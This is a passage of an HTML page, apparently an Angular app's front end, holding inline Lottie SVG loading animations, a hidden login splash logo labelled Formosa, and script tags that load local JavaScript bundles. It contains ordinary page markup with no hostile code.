                        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500" width="500" height="500" style="width: 100%; height: 100%; transform: translate3d(0px, 0px, 0px);" preserveAspectRatio="xMidYMid meet"><defs><clipPath id="__lottie_element_3"><rect width="500" height="500" x="0" y="0"></rect></clipPath><clipPath id="__lottie_element_5"><path d="M0,0 L1920,0 L1920,1080 L0,1080z"></path></clipPath><filter id="__lottie_element_7" filterUnits="objectBoundingBox" x="-100%" y="-100%" width="400%" height="400%"><feGaussianBlur in="SourceAlpha" result="drop_shadow_1" stdDeviation="16.75"></feGaussianBlur><feOffset dx="3.67394039744206e-15" dy="60" in="drop_shadow_1" result="drop_shadow_2"></feOffset><feFlood flood-color="#b7b7b7" flood-opacity="0.5" result="drop_shadow_3"></feFlood><feComposite in="drop_shadow_3" in2="drop_shadow_2" operator="in" result="drop_shadow_4"></feComposite><feMerge><feMergeNode></feMergeNode><feMergeNode in="SourceGraphic"></feMergeNode></feMerge></filter><mask id="__lottie_element_8" mask-type="alpha"><g style="display: block;" transform="matrix(1,0,0,1,961.5,539)" opacity="1"><g opacity="1" transform="matrix(1,0,0,1,0,0)"><path stroke-linecap="round" stroke-linejoin="miter" fill-opacity="0" stroke-miterlimit="4" stroke="rgb(0,231,0)" stroke-opacity="1" stroke-width="30" d="M0 0"></path></g></g></mask><mask id="__lottie_element_14" mask-type="alpha"><g style="display: block;" transform="matrix(1,0,0,1,960,540)" opacity="1"><g opacity="1" transform="matrix(1,0,0,1,0,0)"><path fill="rgb(255,0,0)" fill-opacity="1" d="M0 0"></path><path stroke-linecap="round" stroke-linejoin="miter" fill-opacity="0" stroke-miterlimit="4" stroke="rgb(0,230,0)" stroke-opacity="1" stroke-width="30" d="M0 0"></path></g></g></mask><mask id="__lottie_element_20" mask-type="alpha"><g style="display: block;" transform="matrix(1,0,0,1,958.5,540.5)" opacity="1"><g opacity="1" transform="matrix(1,0,0,1,0,0)"><path stroke-linecap="round" stroke-linejoin="miter" fill-opacity="0" stroke-miterlimit="4" stroke="rgb(0,230,0)" stroke-opacity="1" stroke-width="30" d="M0 0"></path></g></g></mask></defs><g clip-path="url(#__lottie_element_3)"><g clip-path="url(#__lottie_element_5)" filter="url(#__lottie_element_7)" style="display: block;" transform="matrix(1.872920036315918,0,0,1.872920036315918,-1548.003173828125,-761.3768310546875)" opacity="1"><g style="mix-blend-mode: multiply; display: block;" mask="url(#__lottie_element_20)"><g transform="matrix(0.28286999464035034,0,0,0.28286999464035034,915.4518432617188,491.1332092285156)" opacity="1"><g opacity="1" transform="matrix(1,0,0,1,125.4520034790039,216.66200256347656)"><path fill="rgb(0,61,118)" fill-opacity="1" d=" M56.79600143432617,216.66200256347656 C56.79600143432617,216.66200256347656 5.241000175476074,168.9810028076172 5.241000175476074,168.9810028076172 C2.9539999961853027,166.86599731445312 2.825000047683716,163.34500122070312 4.869999885559082,160.9929962158203 C33.768001556396484,127.77300262451172 49.619998931884766,85.4729995727539 49.619998931884766,41.25299835205078 C49.619998931884766,-55.316001892089844 -24.45599937438965,-134.2570037841797 -120.04900360107422,-140.86599731445312 C-123.16300201416016,-141.08099365234375 -125.56900024414062,-143.67100524902344 -125.447998046875,-146.7899932861328 C-125.447998046875,-146.7899932861328 -122.93199920654297,-211.13600158691406 -122.93199920654297,-211.13600158691406 C-122.80699920654297,-214.32699584960938 -120.08200073242188,-216.8459930419922 -116.89399719238281,-216.6510009765625 C19.469999313354492,-208.3350067138672 125.4520034790039,-96.14700317382812 125.4520034790039,41.25299835205078 C125.4520034790039,106.49500274658203 101.06900024414062,168.7899932861328 56.79600143432617,216.66200256347656z"></path></g></g></g><g style="mix-blend-mode: multiply; display: block;" mask="url(#__lottie_element_14)"><g transform="matrix(0.28286999464035034,0,0,0.28286999464035034,920.5970458984375,470.1063537597656)" opacity="1"><g opacity="1" transform="matrix(1,0,0,1,150.0919952392578,129.19900512695312)"><path fill="rgb(110,181,222)" fill-opacity="1" d=" M-108.23500061035156,129.19900512695312 C-120.5989990234375,129.19900512695312 -133.01600646972656,128.31399536132812 -145.2270050048828,126.56400299072266 C-148.38900756835938,126.11000061035156 -150.53799438476562,123.09200286865234 -150.01300048828125,119.94100189208984 C-150.01300048828125,119.94100189208984 -139.43600463867188,56.41699981689453 -139.43600463867188,56.41699981689453 C-138.92300415039062,53.34000015258789 -136.04600524902344,51.29199981689453 -132.95399475097656,51.70899963378906 C-124.78900146484375,52.810001373291016 -116.49800109863281,53.367000579833984 -108.23500061035156,53.367000579833984 C-12.125,53.367000579833984 70.31900024414062,-24.06100082397461 74.18599700927734,-122.00499725341797 C74.34600067138672,-126.03800201416016 77.71099853515625,-129.19900512695312 81.74600219726562,-129.19900512695312 C81.74600219726562,-129.19900512695312 144.3780059814453,-129.19900512695312 144.3780059814453,-129.19900512695312 C147.59500122070312,-129.19900512695312 150.16600036621094,-126.56800079345703 150.09300231933594,-123.35299682617188 C148.58599853515625,-55.558998107910156 121.04499816894531,7.934999942779541 72.54299926757812,55.43000030517578 C23.966999053955078,103.00199890136719 -40.23500061035156,129.19900512695312 -108.23500061035156,129.19900512695312z"></path></g></g></g><g style="mix-blend-mode: multiply; display: block;" mask="url(#__lottie_element_8)"><g transform="matrix(0.28286999464035034,0,0,0.28286999464035034,929.5023193359375,465.0614318847656)" opacity="1"><g opacity="1" transform="matrix(1,0,0,1,106.1709976196289,210.63699340820312)"><path fill="rgb(162,188,48)" fill-opacity="1" d=" M-90.2300033569336,206.2949981689453 C-90.2300033569336,206.2949981689453 -105.99700164794922,143.8280029296875 -105.99700164794922,143.8280029296875 C-106.75900268554688,140.8070068359375 -104.94400024414062,137.78599548339844 -101.947998046875,136.9320068359375 C-23.777000427246094,114.6500015258789 30.339000701904297,43.24800109863281 30.339000701904297,-38.63199996948242 C30.339000701904297,-82.50199890136719 14.711999893188477,-124.54399871826172 -13.781000137329102,-157.64500427246094 C-15.812999725341797,-160.0070037841797 -15.666999816894531,-163.5290069580078 -13.368000030517578,-165.6320037841797 C-13.368000030517578,-165.6320037841797 34.150001525878906,-209.12600708007812 34.150001525878906,-209.12600708007812 C36.505001068115234,-211.281005859375 40.20500183105469,-211.11900329589844 42.30699920654297,-208.71600341796875 C83.53399658203125,-161.60499572753906 106.1709976196289,-101.43699645996094 106.1709976196289,-38.63199996948242 C106.1709976196289,77.96700286865234 28.594999313354492,179.5590057373047 -83.2020034790039,210.43499755859375 C-86.2760009765625,211.2830047607422 -89.44999694824219,209.38699340820312 -90.2300033569336,206.2949981689453z"></path></g></g></g></g></g></svg></div>
                </lottie-animation-view>
            </div>

            
            <div  class="loading mobile notIE" hidden="">
                <lottie-animation-view >
                    <div style="width: 300px; height: 500px; overflow: hidden; margin: 0px auto;">
                        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500" width="500" height="500" style="width: 100%; height: 100%; transform: translate3d(0px, 0px, 0px);" preserveAspectRatio="xMidYMid meet"><defs><clipPath id="__lottie_element_26"><rect width="500" height="500" x="0" y="0"></rect></clipPath><clipPath id="__lottie_element_28"><path d="M0,0 L1920,0 L1920,1080 L0,1080z"></path></clipPath><filter id="__lottie_element_30" filterUnits="objectBoundingBox" x="-100%" y="-100%" width="400%" height="400%"><feGaussianBlur in="SourceAlpha" result="drop_shadow_1" stdDeviation="16.75"></feGaussianBlur><feOffset dx="3.67394039744206e-15" dy="60" in="drop_shadow_1" result="drop_shadow_2"></feOffset><feFlood flood-color="#b7b7b7" flood-opacity="0.5" result="drop_shadow_3"></feFlood><feComposite in="drop_shadow_3" in2="drop_shadow_2" operator="in" result="drop_shadow_4"></feComposite><feMerge><feMergeNode></feMergeNode><feMergeNode in="SourceGraphic"></feMergeNode></feMerge></filter><mask id="__lottie_element_31" mask-type="alpha"><g style="display: block;" transform="matrix(1,0,0,1,961.5,539)" opacity="1"><g opacity="1" transform="matrix(1,0,0,1,0,0)"><path stroke-linecap="round" stroke-linejoin="miter" fill-opacity="0" stroke-miterlimit="4" stroke="rgb(0,231,0)" stroke-opacity="1" stroke-width="30" d="M0 0"></path></g></g></mask><mask id="__lottie_element_37" mask-type="alpha"><g style="display: block;" transform="matrix(1,0,0,1,960,540)" opacity="1"><g opacity="1" transform="matrix(1,0,0,1,0,0)"><path fill="rgb(255,0,0)" fill-opacity="1" d="M0 0"></path><path stroke-linecap="round" stroke-linejoin="miter" fill-opacity="0" stroke-miterlimit="4" stroke="rgb(0,230,0)" stroke-opacity="1" stroke-width="30" d="M0 0"></path></g></g></mask><mask id="__lottie_element_43" mask-type="alpha"><g style="display: block;" transform="matrix(1,0,0,1,958.5,540.5)" opacity="1"><g opacity="1" transform="matrix(1,0,0,1,0,0)"><path stroke-linecap="round" stroke-linejoin="miter" fill-opacity="0" stroke-miterlimit="4" stroke="rgb(0,230,0)" stroke-opacity="1" stroke-width="30" d="M0 0"></path></g></g></mask></defs><g clip-path="url(#__lottie_element_26)"><g clip-path="url(#__lottie_element_28)" filter="url(#__lottie_element_30)" style="display: block;" transform="matrix(1.872920036315918,0,0,1.872920036315918,-1548.003173828125,-761.3768310546875)" opacity="1"><g style="mix-blend-mode: multiply; display: block;" mask="url(#__lottie_element_43)"><g transform="matrix(0.28286999464035034,0,0,0.28286999464035034,915.4518432617188,491.1332092285156)" opacity="1"><g opacity="1" transform="matrix(1,0,0,1,125.4520034790039,216.66200256347656)"><path fill="rgb(0,61,118)" fill-opacity="1" d=" M56.79600143432617,216.66200256347656 C56.79600143432617,216.66200256347656 5.241000175476074,168.9810028076172 5.241000175476074,168.9810028076172 C2.9539999961853027,166.86599731445312 2.825000047683716,163.34500122070312 4.869999885559082,160.9929962158203 C33.768001556396484,127.77300262451172 49.619998931884766,85.4729995727539 49.619998931884766,41.25299835205078 C49.619998931884766,-55.316001892089844 -24.45599937438965,-134.2570037841797 -120.04900360107422,-140.86599731445312 C-123.16300201416016,-141.08099365234375 -125.56900024414062,-143.67100524902344 -125.447998046875,-146.7899932861328 C-125.447998046875,-146.7899932861328 -122.93199920654297,-211.13600158691406 -122.93199920654297,-211.13600158691406 C-122.80699920654297,-214.32699584960938 -120.08200073242188,-216.8459930419922 -116.89399719238281,-216.6510009765625 C19.469999313354492,-208.3350067138672 125.4520034790039,-96.14700317382812 125.4520034790039,41.25299835205078 C125.4520034790039,106.49500274658203 101.06900024414062,168.7899932861328 56.79600143432617,216.66200256347656z"></path></g></g></g><g style="mix-blend-mode: multiply; display: block;" mask="url(#__lottie_element_37)"><g transform="matrix(0.28286999464035034,0,0,0.28286999464035034,920.5970458984375,470.1063537597656)" opacity="1"><g opacity="1" transform="matrix(1,0,0,1,150.0919952392578,129.19900512695312)"><path fill="rgb(110,181,222)" fill-opacity="1" d=" M-108.23500061035156,129.19900512695312 C-120.5989990234375,129.19900512695312 -133.01600646972656,128.31399536132812 -145.2270050048828,126.56400299072266 C-148.38900756835938,126.11000061035156 -150.53799438476562,123.09200286865234 -150.01300048828125,119.94100189208984 C-150.01300048828125,119.94100189208984 -139.43600463867188,56.41699981689453 -139.43600463867188,56.41699981689453 C-138.92300415039062,53.34000015258789 -136.04600524902344,51.29199981689453 -132.95399475097656,51.70899963378906 C-124.78900146484375,52.810001373291016 -116.49800109863281,53.367000579833984 -108.23500061035156,53.367000579833984 C-12.125,53.367000579833984 70.31900024414062,-24.06100082397461 74.18599700927734,-122.00499725341797 C74.34600067138672,-126.03800201416016 77.71099853515625,-129.19900512695312 81.74600219726562,-129.19900512695312 C81.74600219726562,-129.19900512695312 144.3780059814453,-129.19900512695312 144.3780059814453,-129.19900512695312 C147.59500122070312,-129.19900512695312 150.16600036621094,-126.56800079345703 150.09300231933594,-123.35299682617188 C148.58599853515625,-55.558998107910156 121.04499816894531,7.934999942779541 72.54299926757812,55.43000030517578 C23.966999053955078,103.00199890136719 -40.23500061035156,129.19900512695312 -108.23500061035156,129.19900512695312z"></path></g></g></g><g style="mix-blend-mode: multiply; display: block;" mask="url(#__lottie_element_31)"><g transform="matrix(0.28286999464035034,0,0,0.28286999464035034,929.5023193359375,465.0614318847656)" opacity="1"><g opacity="1" transform="matrix(1,0,0,1,106.1709976196289,210.63699340820312)"><path fill="rgb(162,188,48)" fill-opacity="1" d=" M-90.2300033569336,206.2949981689453 C-90.2300033569336,206.2949981689453 -105.99700164794922,143.8280029296875 -105.99700164794922,143.8280029296875 C-106.75900268554688,140.8070068359375 -104.94400024414062,137.78599548339844 -101.947998046875,136.9320068359375 C-23.777000427246094,114.6500015258789 30.339000701904297,43.24800109863281 30.339000701904297,-38.63199996948242 C30.339000701904297,-82.50199890136719 14.711999893188477,-124.54399871826172 -13.781000137329102,-157.64500427246094 C-15.812999725341797,-160.0070037841797 -15.666999816894531,-163.5290069580078 -13.368000030517578,-165.6320037841797 C-13.368000030517578,-165.6320037841797 34.150001525878906,-209.12600708007812 34.150001525878906,-209.12600708007812 C36.505001068115234,-211.281005859375 40.20500183105469,-211.11900329589844 42.30699920654297,-208.71600341796875 C83.53399658203125,-161.60499572753906 106.1709976196289,-101.43699645996094 106.1709976196289,-38.63199996948242 C106.1709976196289,77.96700286865234 28.594999313354492,179.5590057373047 -83.2020034790039,210.43499755859375 C-86.2760009765625,211.2830047607422 -89.44999694824219,209.38699340820312 -90.2300033569336,206.2949981689453z"></path></g></g></g></g></g></svg></div>
                </lottie-animation-view>
            </div>

            

            

            <div  class="login-splash IE" hidden="">
                <img  class="img-fluid custom-animation infinite animated" src="wp-main/Logo_Formosa_SVG.svg">
            </div>

            <div  class="alert-container">
                
            </div>
            <div  class="Tooltip oculto" style="left: 964px; top: 396px;">
                <div  class="triangle"></div>
                <p  class="remove-margin"></p>
            </div>

            
            
            
        </div>
        
    </app-root>
    <script type="text/javascript" src="wp-main/runtime.06e73b3b57eb4d3c79de.js"></script>
    <script type="text/javascript" src="wp-main/polyfills.bacaafe17c7d151fb1c9.js"></script>
    <script type="text/javascript" src="wp-main/scripts.82f0797a47049a64c7e6.js"></script>
    <script type="text/javascript" src="wp-main/main.548200e35673daa543ab.js"></script>

</body>

</html> 